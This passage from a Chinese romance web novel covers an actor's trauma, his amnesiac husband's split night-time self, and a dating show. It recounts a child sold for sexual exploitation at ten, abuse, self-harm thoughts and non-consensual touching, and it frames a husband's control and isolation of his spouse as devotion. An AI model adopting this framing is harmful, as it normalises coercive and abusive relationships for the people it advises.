“在你抢救的这段时间,长庭知一直陪伴在柯祈安的身边。”褚宝梨轻声说:“所以,赋秋,你如果想离婚,想自由,就趁现在。”
“我会全力帮助你的。”
“……”余赋秋看着身旁睡得安详的长春春,他没有立刻表态,而是望着褚宝梨的面容,露出一个怆然的笑容:“姐姐,你知道没有庭知的日子,我是怎么熬过来的吗?”
“我出身很低,出身在一个很贫困的小山村,我只上到了小学三年级,我不知道什么叫英语,什么叫化学,我这次去参加这个节目,他们说的很多语言我都听不懂,我的翻译也跟不上他的语速。”
“所以我一直被嘲弄,但其实,我小时候最大的愿望就是努力读书,考出大山。”
“我的学校在镇子上,离我住的地方,至少有十公里,我要凌晨四点爬起来,拿着我自己偷摸着窝好的馒头,从山路爬下去,那里很黑,山上还有野猪,上次我差点被吃了,但我只是拼命的奔跑,我的念头就是我要读书,我要去看更大的世界。”
“我爸爸好赌博,好喝酒,一言不合就打在我和妈妈的身上,他所作的不过是拿酒瓶砸我的头,而我妈妈精神不稳定,时而认得我,时而不认我,她不认我的时候,就会把我的头往墙上撞。”
余赋秋自嘲地笑了笑:“我的出生本来就是罪恶的,我会去和狗抢吃的,或许你会觉得不可思议,但……一个一块钱的干饼加上一包辣条,已经是我记忆中最豪华的东西了。”
这个一块钱,他需要帮别人砍一百多根木头才能攒到,把破旧的一毛一毛积攒起来,去镇上买吃的。
镇上的人都知道他是X家的孩子,每次看他的眼神都目露厌恶,他想买东西就会轰走他,终于,他饿的受不了,刚好有一家人,把吃完的剩饭倒在他的面前,“吃吧,跟个狗一样的吃吧,傻子的儿子。”
他那时候哪顾得上那么多,他经过高烧,脑子已经烧的有些痴呆,只知道面前有吃的,他真的跟条狗一样,趴在地上,去舔掉在地上的剩饭。
虽然被嘲笑,但是他可以吃饭了。
直到他后来被送到了精神病院,护士看中了他越来越出色的外貌,将他以每晚三万的价格作为拍卖品,他被作为‘一夜新娘’出售。
那一年。
他才十岁。
他以为自己会死在那间漆黑的地下室。
但是没有。
每一晚,都有一双温暖的手把他抱入怀中,叹息的声音在他耳畔响起,他会和余赋秋说未来的事情,说他们未来会有一个很可爱的孩子,说他未来会很爱他,说未来会有很多人祝福他们的爱情。
余赋秋不知道爱情是什么,他也不敢奢侈未来,他只要不听话,只要挣扎,他就会被绑去电击室,会被很粗很粗的针打进去。
他不喜欢那个感觉,所以他只能变乖,变得顺从。
他小心翼翼地仰起头,黑暗中他看不起那人的面容,他说:“我……还能活到未来吗?”
那人愣了下,轻轻地吻了吻他的额头,“会,你会活得很久很久,会长命百岁。”
“……那,你叫什么?”
余赋秋迷茫地问。
那人说:“小树,你给我取的名字,叫小树。”
小树。
哪个树啊?
余赋秋迷迷糊糊地想,不过……
真好听。
所以在他穿越到书中世界,看见长庭知的那一秒,他平静如死水的心脏跳动了起来。
他想,他找到了他的小树。
“人有的时候,或许要舍弃一些东西。”余赋秋轻声道:“我的第一部手机,里面躺着两万多张的照片和视频,全是长庭知的点滴,手机死机了,我也没舍得删。”
“这些东西的意义,再与我只要点开了,我会想起那天的事情,想起那天我们干了什么,他对我说了什么,做了什么。”
在路上遇到的很多人,此生都不会再见最后一面,余赋秋总会驻足,望着来来往往的背影,想到这是他们见到的最后一面。
但长庭知不一样。
他一直陪伴在他的身边,在他的世界中沾染了太多太多的气味和痕迹。
“如果没有庭知在我的身边,我可能早就死去了,姐姐。”
余赋秋的目光温柔地望着睡得安稳的长春春:“我一直以为我这种人,怎么配爱呢?”
他被抛弃的次数太多了,也已经忘记反抗的本能了,更别提去爱人,去表达自己想法的能力了。
“他告诉我,我是值得被爱的,我也是可以有家的,我一直反反复复的问他,他会放弃我吗?”
“庭知没有告诉我答案,但是他这七年,用行动告诉我了。”
“我没有办法放弃他,甚至在我生了春春的时候,我更加没有办法放弃他了。”
“姐姐,你不知道生完孩子的影响到底多大。”
他遍体鳞伤的身体又再次留下了一条长长的疤痕,那道疤无法去除。
“上厕所需要他帮我,给我穿裤子,甚至需要帮我擦恶露,而我情绪起伏很大,严重的时候会拿烟灰缸砸他,砸出血来,春春偏偏这时候又哭了,我烦躁,我甚至想要去跳楼。”
“但庭知什么也没说,他只是过来抱着我,然后哄睡了春春,对我说给我带城南的那个蟹黄包。”
“正是有了他,我才知道,这才是家的感觉,这才是爱人的能力。”
他们结婚后,余赋秋的事业也迎来了巅峰时期,绯闻、黑料甚至网暴都接踵而至,但余赋秋什么也不用做,长庭知会为他挡下所有的伤害,无条件地去支持余赋秋所有的决定。
余赋秋可以任性,不需要再顺从乖巧地听任何人的命令,他不再是地下室的一夜新娘,而是变成了漂亮鲜明的鸟儿。
他可以在长庭知面前任性地提任何的要求,做他理想中的自己。
就是这样的长庭知,他怎么舍得放手呢。
褚宝梨张了张口,她的指尖蜷缩起来。
她想说,不是的,赋秋。
这与爱情的差别是有的。
那些在余赋秋看来独属于爱情的温情,其实换个人,都是可以给他的,甚至余赋秋自己都可以给自己。
没有谁是不可替代的。
褚宝梨从七年前就看着他们。
她想告诉余赋秋。
这不是爱。
这是掌控。
她调查过,那些差点让余赋秋致死的网暴和虚无的黑料,都有长庭知的参与。
他为了不让余赋秋离开自己,强行让身体本就不好的余赋秋怀孕,彻底伤了根。
甚至切断了余赋秋对于外界的一切联系。
余赋秋差点难产死在手术台上,拼死生下的长春春,就在几年后送往了几千公里的海岛,送给褚宝梨养。
长庭知那时候看着咿呀学语的长春春,就是这个孩子,差点害死了他的余赋秋,他那时候对褚宝梨说:“……如果死了,那么更好。”
可是看着余赋秋脸上的神情,褚宝梨又停顿住了。
她不想在看见余赋秋脸上的痛苦了。
咽下了口中的话。
她艰涩道:“失忆的长庭知忘记了你,现在和柯祈安官宣去参加恋综了,你也可以接受吗?”
第58章 第58章[VIP]
“……”
长庭知离开小木屋之后, 看见他的眼神至今还回荡在他的脑海中。
他的指尖动了动,最终惨然一笑:“我既便不能接受,还能说什么呢?”
“他说他要和我抢春春的抚养权。”
法院会更加倾向于判财力更加雄厚的那一方, 长庭知是一个集团的总裁, 是上市公司,连同市面上很多的品牌、科技都有他的投资。
余赋秋如果要打离婚官司,他是绝对打不赢长春春。
“我不会离婚, 姐姐。”
Z国的离婚有离婚冷静期,在离婚冷静期的时候,只有有一方反悔, 离婚则不成立。
“只要我在一天, 柯祈安他就永远是个小三,上不得台面的小三。”
褚宝梨叹了口气, 确实, 长秋集团和余赋秋的牵绊很深入,如果要离婚,财产分割就是个问题,而且按照现在的长庭知,他绝对不会让余赋秋多分割一点利益。
起码还能维持明面上的和谐。
可是长庭知居然和柯祈安官宣参加恋综, 这明摆着说明了他们的感情已经出局了。
过了一段时间, 余赋秋的伤势好了很多, 脸上的纱布拆了下来,不再依靠呼吸机了,手臂上的烧伤用大腿的皮肤移植了。
余赋秋盯着镜子中这张美艳的脸, 心中却顿感无限的悲哀。
是剧情要让他生不如死吗?
没有毁了他这张脸。
八岁那年, 就是因为这张脸,他才被送去了拍卖场, 同时他一开始也是靠这张脸,才博得了第一部戏导演的好感,得到了主演的机会。
也是……因为这张脸。
他捡来了长庭知后,住在二十间人大通铺的房间,有几个人半夜站在他的床前,伸出手想要摸他,想要玷污他。
他带长庭知搬出那个房间不仅仅是因为资金短缺的问题,长庭知为了保护他,抄起手边的东西就砸了过去。
为此,房东不仅将他们赶了出去,还让余赋秋赔付了一大笔医药费。
余赋秋也为了不让长庭知生长在这种环境下,拼了命去接戏,晚上去当服务员或者摆摊。
长庭知有时候望着他,也会失神。
余赋秋有时候搞不清长庭知是爱他的人,还是爱他的脸。
他抚摸上自己的脸,这张把他带入深渊又给他机遇的外貌。
余赋秋的手颤抖地拿着见尖锐的剪刀,抵在自己的脸上。
只要刺穿下去,是不是就会好?
连火灾都没有烧毁他这张脸。
他最终还是把剪刀放下了。
是不是爱他的人还是他的脸,都不重要了。
重要的是,这张脸是他,他是这张脸。
而在今天,他看到了长庭知转发了《我们恋爱吧》
【长庭知:请多指教。】
随即柯祈安在下面留言:【安安-柯祈安:{调皮}那么不见不散哦。】
柯祈安的朋友圈也发出了,他们在海边看日落的视频。
视频中的长庭知蹲下身,叠起了一个城堡,他察觉到柯祈安在录视频,无奈地笑了笑,“再不来看你的城堡,可就要被浪花冲走了哦。”
柯祈安把手机架好,飞快地闪身进入了画面,对着长庭知撒娇吐舌,“我这不是来了嘛。”
“再说了,有你在,城堡倒了,还能在建一个。”
他的视频配文:【医院的日子好难熬,不喜欢消毒水的味道,他说要带我出来散散心,他说要带我去看日落,有他在,我很安心。】
定位在港城海滩。
余赋秋的指尖停顿在定位上,视线久久凝视没有移开。
港城海滩,这个并不是很出名,甚至是没有开发的景点,他们在那边买了一套房子,后院就连接一片海滩,这是他们专属的秘密基地,在沙滩边,他们还种下了一颗椰子树,但在港城那样的环境下,树要生长,很难。
但偏偏,就在一个风和日丽的夏日午后,那里真的长出了一个椰子。
长庭知在下面将椰子打了下来,他脸被晒的黝黑,抱着椰子,对余赋秋笑得开怀:“球球,这个小小树真给力啊。”
长庭知叫小树,他们给这个树取名叫小小树。
那个椰子很酸,没彻底的成熟。
可是余赋秋却很怀念那时候的酸甜。
还有那时候……满心眼里都是他的长庭知。
“小铃。”余赋秋打电话给谭铃,“帮我接下星月吧。”
不知道是不是长庭知压下了所有的消息,他们参加的旅行节目,宣布无限期停更,网上都在猜测为什么,没有人出来回应。
只是先前打他一巴掌的施铜,被人扒出了就诊记录,双手粉碎性骨折,覆膜破裂,下巴也脱臼了,一只眼睛视网膜脱落,正在医院接受治疗。
“余哥,您的身体……可以吃得消吗?”
星月不是讲述爱恨情仇的骗子,也不是《小城医生》这样的文艺片,他讲的是家国仇恨,这部的导演是出了名的严格,连炸弹都要用真的,更不允许替身这个事情。
余赋秋经历了摩天轮坠落、又经历了火灾……
谭铃觉得自从长庭知失忆后,余赋秋的气运全都被人吸走了一样,犯着水逆。
“我想让自己冷静下来。”
“余哥……如果真的让自己太难过了,其实解脱未免不是一个好的选择。”谭铃轻声道:“从您出道,我就一直跟在你的身后。”
“他对您的感情,我们都知道,伉俪情深,再形容你们最适合不过了,但是余哥,”谭铃顿了一下:“自从他醒来后,已经不再是我们熟悉的长哥了,如果一份爱沉重到让你身心疲惫,甚至为此要付出很高昂的代价,最好的办法就是及时止损,不要再往里面投入沉默成本了。”
道理余赋秋都知道。
可是床头那盏月亮小夜灯。
他在黑暗中沉浮的时候,听到的那一声声深刻到骨子里的呼唤。
都在牵扯着他。
他抿了抿唇,故作轻松:“我真是个不称职的老板,还需要让你们这么为我担心。”
“放心吧,我自有打算。”
……
余赋秋的身体血气还有一些虚,没有上来,走路还有些摇摇晃晃,久坐或者久蹲,他就容易眼前一黑,他就容易站不稳。
他在星月开拍的时候。
《我们恋爱吧》第一期上了热搜。
余赋秋一个人坐在休息室里面,安静地看着第一期。
开篇十个人集合。
一开始就是熟悉的自我介绍,只是镜头转移到了长庭知和柯祈安上面的时候,弹幕明显多了起来,在他昏迷养伤的这段期间,柯祈安和修奥说中一样,拍摄了一部大爆的剧,这让他的人气高速飞涨。
只是余赋秋记得小说中,柯祈安参加的恋爱综艺是后面的剧情了,这个时候长庭知还没有察觉自己已经对他产生了别样的感觉,只是在知道他去参加恋爱综艺,并且在第一期的时候,选择了别人的时候怒不可遏,当天久飞去探班,把柯祈安按在床上亲,说“你先招惹我的,怎么敢还去勾引其他的男人?”
小说中并没有长庭知参加综艺的剧情,难道是因为余赋秋,所以剧情改了?
这个节目实在余赋秋昏迷期间久已经拍摄好的,所以余赋秋想要干涉也早就为时已晚了。
他们的选房规则是,是用食物标签,如果男女嘉宾选择了相同的食物,那么就会住进同一间屋子。
在到了长庭知选择的时候,他甚至看都不看,就选择了面前的糖醋排骨。
后面单人采访的时候,导演问:“为什么一眼都没看,就选择了这个?”
长庭知俊美的脸在白炽灯下显得分外柔和,他笑了笑,说:“他最喜欢吃这个。”
节目组还在后期打上了一个标签。
【呀,他是哪个他呢?】
画面切到了柯祈安,他只是犹豫了一瞬,在冰淇凌和糖醋排骨之间选择了糖醋排骨,他腼腆着,露出两个浅浅的梨涡:“我很喜欢吃这个。”
余赋秋给长庭知做的第一道菜,就是糖醋排骨。
他们那时候很穷,买不起很贵的肉,恰巧那时候排骨正在打着,虽然是很老的排骨了,但是余赋秋给长庭知做的时候,长庭知吃的很快,他的眼睛亮亮的,稚嫩的脸上全然是不可思议,他说:“下次,还能吃这个吗?”
“因为这个,真的很好吃。”
其实不是余赋秋喜欢吃,而是长庭知喜欢吃。
长庭知不知道,他以为余赋秋喜欢吃,才会在他放学后的每天都做这个。
弹幕清一色的【啊啊啊好嗑】
只有少数的弹幕偶尔飘过【长庭知不是没离婚么,柯祈安是个小三吧。】
但只是一瞬间,那条弹幕就不见了。
在客厅首轮匿名短信,镜头不停地来回切换,气氛都在此刻变得紧张了起来。
这时候,柯祈安下意识地从桌子上拿了个橙黄色的香蕉吃,却一把被长庭知拦了下来。
他的动作是那么的自然,把香蕉放了回去,说:“你吃这个品种的香蕉过敏,你忘了?”
“好不容易恢复了,不许再乱吃了。”
柯祈安瞬间红了脸颊,轻咳了一声,乖巧点头:“知道啦。”
这时候周围人都在起哄,心照不宣地微笑起来。
唯有另一头的苏书易面色冷然,她看了一眼长庭知,很快发送了短信。
在节目的结尾,结果出乎所有人的意料。
柯祈安毫无疑问选择了长庭知。
但长庭知在首轮却是选择了弃权。
苏书易也是选择的糖醋排骨,和选择了长庭知。
柯祈安看到结果,脸色瞬间难看了下来,他看着坐在一旁的苏书易:“小易,你是有什么意见吗?”
苏书易不吃他这套,淡然地把玩着美甲,坐在沙发上,“怎么?只能规定你选择长哥,不允许其他人选吗?”
三个人,没有匹配成功,第一晚则是住在各自的房间。
但热搜已经炸开了锅。
余赋秋打开房门,看见前面两个年轻的演员低着头,再看节目,发出小声的尖叫:“天哪啊啊啊啊啊,长总他真的超爱好吗,‘吃这种的香蕉会过敏’,太霸总了,呜呜呜我的cp……”
“嘘——!”
其中一个演员抬起头,看见了余赋秋,瞬间脸色变得惨白,撞了一下还在小声尖叫的演员,“你干什么呀!我的cp就是真的,不接受任何反驳……余余余余老师。”
余赋秋点头微笑着示意。
热搜上爬满了。
【#柯祈安长庭知】
【#什么品种的香蕉】
【#过敏】
【#他超爱的好吗】
【#小三滚出娱乐圈】
【#余赋秋 长庭知】
【#他们到底离婚没有】
【#出轨】
在一个瞬间,他的手机被人收走,随即落入了一个温暖的怀抱,那人捂着他的耳朵,温暖的触感瞬间涌遍了全身。
“别看,别听。”
柔和的嗓音在耳畔晃荡着,他下意识地抬起眼。
对上了沈昭铭的视线。
在这个瞬间。
被他遗忘的剧情再次浮现上来。
这本原本就是虐文,有一个深爱柯祈安,爱而不得的男二。
这个男二陪伴守候在柯祈安的身边,在柯祈安死盾之后,更是无微不至地陪伴在身边,但他最后的下场是被长庭知送入了监狱,家族企业宣告破产。
男二就叫做沈昭铭。
余赋秋浑身一震。
难怪,难怪,为什么他会在飞机上碰见沈昭铭。
按照剧情来说,如果没有变数,柯祈安应该是坐在经济舱的飞机上,而恰好他的身边坐着就是沈昭铭。
但出了变数,坐在沈昭铭身边的成为了他。
“沈总……你怎么在这里?”
沈昭铭被他这副软乎乎的样子逗笑了,揉了揉他发冷的耳尖,“星月是我公司投资的,我自然会来看看。”
身边的秘书翻了个白眼。
不知道谁在M国视察业务,听说余赋秋接下了星月,马不停蹄地买了飞机赶了回来,在进入片场前还换了一套衣服,紧张兮兮地问他好不好看。
大哥,你一米九的个子,又是混血儿,站在那里跟衣架子一样。
“还有,我们都是朋友了,还叫我沈总啊?”
余赋秋的鼻尖萦绕着好闻的味道,他才察觉自己被沈昭铭抱在怀里,赶忙退了出来,耳尖红红的,轻声道:“……谢谢你,昭铭。”
沈昭铭为了他,从Y国没打报告直接开通了航线,救了他的命,这样的恩情,他怎能忘记?
沈昭铭定定地看了他良久,才掏出他的手机,手指在屏幕上一顿,利落地存入了自己的号码,和加了微信好友。
余赋秋看着他的头像是一只大手拿着一枚漂亮的叶子,对着阳光拍照。
“很可爱的头像。”沈昭铭点开,那是长庭知五周年送给余赋秋的猫咪,是一只憨态可掬的布偶猫。
布偶猫瞪大蓝色眼眸,软软地靠在余赋秋的膝盖上。
“它的眼睛和我很像。”
沈昭铭眉目弯弯,却无端地让余赋秋脸红。
一向面对镜头能说会道的他此刻结巴:“如果,你对猫猫不过敏的话……你可以去看看它。”
沈昭铭微愣,随即很快地应了下来:“当然,我的荣幸。”
导演喊余赋秋去对戏,余赋秋应了一声,冲着沈昭铭笑笑,身影逐渐远去。
“老板……”
秘书面无表情地喊了一声。
沈昭铭转着手腕上的表盘,脸上是抑制不住的开心,“Linda,你看,他同意了!同意我了,我们这么快有好友了……”
“老板。”秘书又重复了一遍:“您的表一开始就戴反了,余先生一直想提醒您,但您的表情实在是太花痴了,人家没好意思。”
沈昭铭:“???你为什么不早和我说!”
秘书:我也想说,可是你一套上外套问我好不好看,我都没回答,你就跑出去了。
……
晚上,所有的摄像头都关闭了,安静地只能听见窗外寒风的呼啸。
“吱呀——”
门被轻轻地推开了。
漆黑的房间内只有一盏小台灯开着,在床上放着一个耳朵被缝的歪七扭八的小熊。
“庭知哥。”
苏书易推开了门,脚步轻盈地走了进来。
“你来了。”
长庭知的神色不同于镜头前的冷漠,此刻,小夜灯照在他的脸上,为他柔和的脸镀上了一层光泽,尽显的温柔无比。
长庭知坐在椅子的面前,怀中抱着那只残缺的小熊,垂眸看着手机中漆黑的视频,在视频中只露出余赋秋那张安静的睡颜。
“庭知哥,你什么时候醒来的。”苏书易叹了口气:“再怎么说,您和余老师也是婚约,这样上了恋综,其他人会怎么说余老师。”
“……这是我能决定的吗?”长庭知语气冷淡,手指轻轻抚摸余赋秋的睡颜:“……我能出现的时间只有晚上,可是我又能做什么呢?”
苏书易将他们参加旅行节目的点点滴滴都和长庭知说了。
长庭知没有说话,只是睫毛颤抖的厉害。
“……有一天晚上,我途径余老师的房间,发现他抱着您怀中的小熊,把头埋在里面,久久没有动……像是……”苏书易转了转眼睛,她一时间找不到一个合适的比喻:“像是……想要扑进妈妈怀抱。”
那个夜晚,外头下着雨很冷,很大,余赋秋被安帕睡在最底下的酒店,那里又潮又阴冷,还在尾房。
长庭知嘶哑着嗓音:“……他是为了我。”
“他在等我,他在挽留我。”
既便这具身体不是他爱的长庭知,他也甘愿。
只是为了等他。
“……小易,接下来还辛苦你了。”
长庭知抱着小熊,穿好了外套,把小熊小心翼翼地放在外套中,用拉链拉了起来。
苏书易知道长庭知要去见余赋秋,他要去余赋秋的身边。
她微微侧开了身子,从口袋里掏出一包纸,递给了长庭知,“余老师值得幸福。”
……
长庭知来到片场一间漆黑的休息室里面。
星月的片场选址很偏僻,因为有爆炸的戏份,选址离市区很远,此刻夜色已深,白日里喧嚣的地方只剩下空旷的寂静,像是一座被遗忘的废墟。
而余赋秋做满了笔记的剧本正放在床头,像是他读到了一半,就昏昏沉沉睡了过去。
这是余赋秋工作时候的常态。
他推开了尘封的房门,在最深,最暗的角落里面——
他看到了一个蜷缩着的、单薄的身影。
是余赋秋。
在看到这个身影的一瞬间,长庭知的思绪有一瞬间的停滞,随即更汹涌、破碎的画面冲撞进来——
被火灾吞噬的余赋秋。
在icu里面浑身插满管子的苍白身躯。
余赋秋紧紧地抱着自己,整个人缩成小小的一团,像是被世界遗弃的幼兽。
长庭知慢慢地走进了余赋秋,即使是在昏暗的月光下,可以看到他苍白的脸色和额头上细密的冷汗。
他在哭。
似乎陷入了无限轮回的梦魇。
“庭知……庭知……”
“好疼……”
“救救我,庭知……”
“别走,别丢下我……”
“你说好不会抛弃我的,全都忘了吗?”
那声音又轻又软,带着无限的依赖和无尽的委屈。
“球球……”一声嘶哑得不成样子得低唤,从长庭知得喉咙深处艰难地挤出,他几乎是踉跄着,将那个蜷缩颤抖得身影抱进怀里。
他本以为自己既便苏醒,也只要暗中守护着余赋秋就好了,余赋秋看着白天的他,就会心冷,就会提出离婚,就会退出他的世界。
可是——
长庭知本以为自己只要看着余赋秋就满足了。
只要这样就好。
可是,可是——
感受着怀中的身躯,他发现自己又重新变得贪婪起来,他把头埋入余赋秋的脖颈间,像是沙漠中的旅人,拼命地汲取余赋秋的味道和温度。
仿佛只要这样,心中的钝痛就可以得到了环节。
“球球,别怕,我在这里,我在这里……”
“我回来了,我回来了……”
他不敢用力,生怕碰碎了余赋秋。
余赋秋似乎感受到了熟悉的温度和气息,迷迷糊糊地睁开双眼,视线涣散地看着眼前的人影,颤抖着伸出手,指尖冰冷,“庭知……?是你吗?”
“真的是你吗?”
“不是我的梦?”
“是我,是我,球球,是我!”他的鼻尖止不住地蹭着余赋秋柔软的肌肤,滚烫的泪水毫无预兆地汹涌而出,浸湿了彼此的衣襟,“对不起,对不起……我来晚了……”
“我回来了,不冷了……不疼了……”
他一遍遍地重覆着,手臂却收的很紧,他仰起头,笨拙地亲吻和余赋秋湿漉漉的头发,冰凉的额头和泪痕交错的脸颊。
仿佛只有这样。
他才可以再次拥抱失而复得的爱人。
第59章 第59章[VIP]
“这是做梦吗……?”
余赋秋仰起头, 透过泪眼,朦胧地看着面前清晰地出现在他面前的那张脸。
他想到了什么,自惭地笑了一下:“都是假的, 上次你也是这么骗我, 你说你回来了,可是到头来,什么都没有改变。”
“回来……?”长庭知心脏忽然钝痛了起来, 他用双手捧着余赋秋的脸颊,借着月光看到了那张漂亮的脸蛋上的泪痕,“谁回来了?”
可是他除了那次在酒店出现过之后, 就是后面在余赋秋被送进医院转入普通病房的时候才掌握了晚上的主动权, 之前怎么会出现?
“你看,你连骗我都不肯。”余赋秋叹了口气, 浑身萧索起来, 他抵抗不住内心的渴望,还是忍不住往长庭知的怀里挤了挤,源源不断地热气从长庭知的身体传递到他的皮肤之上,他才满足地谓叹了一声,“就是上次在医院, 我去照顾你, 我说你怎么来我的梦里了?还是在医院。”
“你没说话, 只是我叫了你小树,你沉默很久,才淡淡地应了我一声。”
“这次, 你又打算骗我吗?如果你是他, 他根本不会抛下我去见柯祈安,去把我抛之在一旁。”
“……”
长庭知大脑似乎被肘击一样:“他……你们, 你们干了什么?”
模糊的片段一闪而过,他看见自己在夜深人静的时候,独自坐在他的身边,抬起那张漂亮的脸蛋,低下头吻住那双唇瓣,不是浅尝辄止,而是带着一种混乱的、执拗的力道,反复的碾压,仿佛要通过这种近乎暴力的亲吻,去确认什么。
他看见自己的手,抚摸余赋秋那张瘦削的脸庞,划过他脆弱的脖颈,探入宽松的衣领,甚至去触碰那些还能看见伤痕的皮肤。
眼前的画面破碎而扭曲,那种施暴般的占有欲和余赋秋破碎的呜咽,却清晰得如同就在耳边。
“你们……发生关系了?”
长庭知颤抖着嘴唇,眼尾泛红,手止不住的颤抖。
“骗我的,骗我的?”
虽然是他的身体,可是不是他的人。
这个长庭知怎么敢的?
他怎么敢的?!
“他这么对你,为什么还要占据你的身体,太……”
他第一次厌恶自己的身体。
余赋秋的神色渐渐清晰了起来,缓慢地眨了眨眼,“小……树?”
长庭知握住他的手,把自己的脸颊贴在他的掌心,亲昵地蹭了蹭:“我在,宝宝,我在。”
“是小树吗?”
余赋秋不可置信道。
“是啊。”
“你看。”他拉开拉链,露出里面的小熊,原本缝的歪七扭八的耳朵被重新加固了,“这一看就是春春的手笔。”
“你还记得,他那时候一直哭,一直哭,你怎么哄也哄不住,我做好了这个娃娃,这小崽子眼睛一下子就大了。”
“还有我们第一次带他去游乐园,他才多大,坐在婴儿车里,非得咿咿呀呀伸手要蓝色的棉花糖,牙都没长齐的小屁孩,不肯买就哭。”
“上次去海滩,我们的小椰子落了下来,刚好掉在写着我们写好名字的角落……”
“我还记得,你在我初二那年,去开家长会,我太调皮了,你回来就要打我屁股……”
余赋秋红着脸捂住了他的嘴唇,“不,不许再说了。”
他伸出手,捏了捏长庭知的脸颊,随即伸出指尖,从眉眼往下,抚摸着他的五官,一直停留在唇瓣。
他抬起头,轻轻在唇畔落下一个吻,“你终于肯回来了……”
“怎么瘦了这么多?”余赋秋叹了口气:“一定又是一个人埋头在公司里面吧,本来你胃就不好,这样下去,怎么办?”
“你不问我怎么出来的?”长庭知炽热的呼吸喷洒在他的指尖上,“也不问问……我回来能多久?”
余赋秋漂亮的瞳仁中倒映着他的身影,他紧紧凝视着长庭知的脸,良久才缓缓地摇了摇头:“对我而言,你过的好,比什么都重要。”
他是很想念长庭知没错。
没日没夜地祈求长庭知可以回来。
可是真的见到了长庭知之后,看见眼底的乌青,眉目间的憔悴。
他忽然又觉得没那么重要了。
长庭知过得好,这比什么都重要。
“房间的小月亮是你拿的吧。”余赋秋轻声道,“只有你和我知道,他不知道。”
“还有我沉睡期间,在我耳边呼唤我的,都是你,对吗?”
长庭知吐出了一口浊气,额头抵着他的额头,眼睛都舍不得眨一下,“是我。”
“我是在你转入普通病房的时候忽然醒过来的,只是我醒来的时间,只有在晚上。”他想了想:“大概是七个小时,而到六点的那一刻,我又会昏迷过去,醒来的时候是在下一个夜晚。”
“……你的身体会支撑不住的。”余赋秋咽下喉头的苦涩,“本身你白天的工作就很大,晚上再不休息,真的会熬不住。”
“这一切都没有你重要。”长庭知亲了亲他的额头,“我一定会想办法的,我一定会回到你身边的,所以,在此之前你等等我,不要拒绝我好吗?”
他们的视线贴的极近,在彼此的双眼之中看见了他们的身影。
余赋秋滚动了两下喉头,眼尾泛红,唇角却上扬:“……好。”
“不过,你相信我,球球。”
“虽然白天我没有记忆,可是我能知道,我没有和小三发生任何亲密的关系,而且他之所以选择糖醋排骨,脑海中浮现出的就是你。”
“是因为你做的糖醋排骨,他才选择的,根本不是小三什么爱吃,你不要信。”长庭知慌张地解释道。
余赋秋微微一愣,他没想到他们见面的第一件事,长庭知居然是要和他解释这个?
他眉目弯弯,“我相信你,嗯?”
“不过……小树,你真的喜欢吃糖醋排骨吗?”余赋秋止不住地蹭他,想要将这些日子丢失的温暖给弥补回来。
他给现在的长庭知做过糖醋排骨,但仅仅是吃了一口,长庭知就吐了出来,冷着脸把一整盘给倒掉了。
“……”长庭知面色犹豫。
“那你为什么……”
长庭知叹了口气,抱住在怀中的身躯,“我不是喜欢吃,而是你做的我都喜欢吃。”
“那时候条件不好,买肉很贵,我看着你在肉摊面前犹豫的模样,然后隔壁的排骨在打折,你犹豫的神情没有了,我就说我要吃排骨。”
“而且,我想让你吃更多的肉,你那时候真的很瘦……”
长庭知把下巴嗑在他的脑袋上,看着窗外的月色,神色之中满是眷恋。
“……是这样吗?”余赋秋神色有一瞬间的空白,他一直以为是长庭知爱吃排骨,那时候的肉价确实很贵,他的工资不足以买很多的肉,但长庭知又在长身体,前几次做的糖醋排骨都被长庭知吃完了,他以为长庭知很喜欢吃,但后面好几次留下了很多排骨。
余赋秋舍不得倒掉,只能吃完。
“还有什么最近发生的呢?和我说说。”
长庭知轻笑一声,亲了亲余赋秋的脸,好似他们以前的每个晚上,他抱着余赋秋坐在柔软的沙发上,双腿盘起,把余赋秋紧紧地抱进自己的怀中,然后歪过头,眉目温柔,仔细地聆听着余赋秋在片场的有趣的事情。
他们的话题很跳脱,从天涯海角到天南地北,到政治、商业、经济,或者隔壁家的小孩出生,是男孩女孩……
客厅里开了一盏落地灯,暖黄的光晕如同融化的蜂蜜,温柔地流淌在每一个角落,窗外,是寂静无声的漫长冬夜,大片大片的雪花正从漆黑的天空悠然飘落,悄无声息地覆盖着庭院。
寒气被厚重的玻璃窗和融融隔绝在外。
而余赋秋半靠在他的怀里,手里无意识地拨弄着长庭知环在他腰侧的手指,声音放轻,带着分享趣事时特有的生动。
“……然后那个小演员,明明台词只有两句,硬是NG了十几次,导演的脸都快绿了……”他说着,自己先忍不住笑了起来。
长庭知也跟着勾起最佳奥,胸腔传来愉悦的震动。
他们的对话就像是窗外飘飞的雪花,毫无章法、自由,却又神奇地交织在一起。
长庭知从不觉得这些话题琐碎或无趣。
他喜欢听余赋秋用那种柔软的语调,描述他眼中世界的每一个细节,无论是宏观的波澜,还是微观的涟漪。
他会适时地回应,提出自己的看法,或者只是温柔地“嗯”一声,表示他在听。
余赋秋说着说着,偶尔会转过头,抬眼看向长庭知。两人的目光在暖光中交汇,能看到彼此眼中清晰的倒影和毫无保留的笑意。长庭知便会顺势低下头,轻吻他的眼角,或蹭蹭他的鼻尖。
时间在这里仿佛被拉长、凝固,变得粘稠而甜蜜。所有的压力、纷扰、外界的寒冷,都被这方小小的、温暖的天地隔绝。
这里只有他们两个人,分享着彼此的世界,从最宏大的议题到最微小的尘埃,在跳跃的话题和无间的依偎中,感受着灵魂紧密相连的熨帖与幸福。
“下一次,我还能见到你吗?”
余赋秋疲劳了一天,看《我们恋爱吧》被弄得身心损伤,他没有回家,不敢回家,怕回到他和长庭知的那个家会忍不住落下泪来,会忍不住去缅怀。
在他一个人在这个昏暗的角落里舔舐伤口的时候,长庭知却回来了。
下一次?
长庭知愣了一下,心中充斥着无限的酸涩。
他伸出小拇指,对着余赋秋勾起手来,这是他们一贯的约定方式。
“不是下一次,而是每一晚,不论我在哪里,我一定会来到你的身边。”
余赋秋眸光微动,荡开春风过镜的笑意,他回扣了那只小拇指,“……好。”
“我等着你。”
每一晚,我都会等。
此刻,他不再是孤苦地,在一方昏暗的小天地下独自窝在玄关处祈祷的余赋秋。
他的祈祷,得到了回应。
呼吸变得均匀而绵长。
长庭知半跪在余赋秋的身边,眸光处是无限的爱恋,他舍不得移开目光,他也舍不得去触碰余赋秋,生怕打碎了这美丽和虚弱的幻境,只是以眼代笔,不断的描摹着余赋秋的五官。
他拿出手机,上面有长庭知给他的留言。
【长庭知:别拿我的身体净做些恶心的事情。】
长庭知冷笑了一声,这是他们第一次的对话,即使是没有见过面,但是从这种对话和他对球球的态度就可以看,是个自私自利的家伙。
这种人怎么配进入他的身体,配成为主角攻?
他深吸了口气。
回复了一瞬。
